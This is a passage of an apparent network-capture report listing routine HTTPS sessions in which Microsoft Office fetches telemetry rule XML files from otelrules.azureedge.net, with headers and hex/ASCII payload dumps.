2024-11-12 01:14:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:19 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7accfaa7-701e-0032-50a0-34a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011419Z-17df447cdb5qkskwhC1DFWeeg40000000bq00000000095x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:20 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a8f5521d-f01e-003f-49a0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011420Z-17df447cdb57g7m7hC1DFW791s0000000bag000000006u9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:20 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011420Z-16547b76f7fcjqqhhC1DFWrrrc0000000ex000000000c29t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:20 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fe4e74db-301e-003f-25bc-2c266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011420Z-16547b76f7f67wxlhC1DFWah9w0000000exg00000000add1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:20 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:20 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011420Z-16547b76f7fkcrm9hC1DFWxdag0000000f4g000000000z0z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:20 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 933b88d1-c01e-0079-80a0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011420Z-17df447cdb5vp9l9hC1DFW5hw800000006z000000000396r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:21 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ccc43e0b-401e-0015-12a0-340e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011421Z-15869dbbcc6qwghvhC1DFWssds0000000cc0000000000ty5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:21 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 157887d5-b01e-0084-44d2-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011421Z-16547b76f7fvllnfhC1DFWxkg80000000f1g0000000040ts x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:21 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ec000542-b01e-005c-62a0-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011421Z-15869dbbcc6lq45jhC1DFWtecs00000000ng00000000b8x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:21 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	495	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 9dc908ac-101e-0034-7fa0-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011421Z-17df447cdb5rnd49hC1DFWgmpw00000005m00000000099pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:21 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:21 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:21 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011421Z-16547b76f7f7lhvnhC1DFWa2k00000000evg000000008apf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:21 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
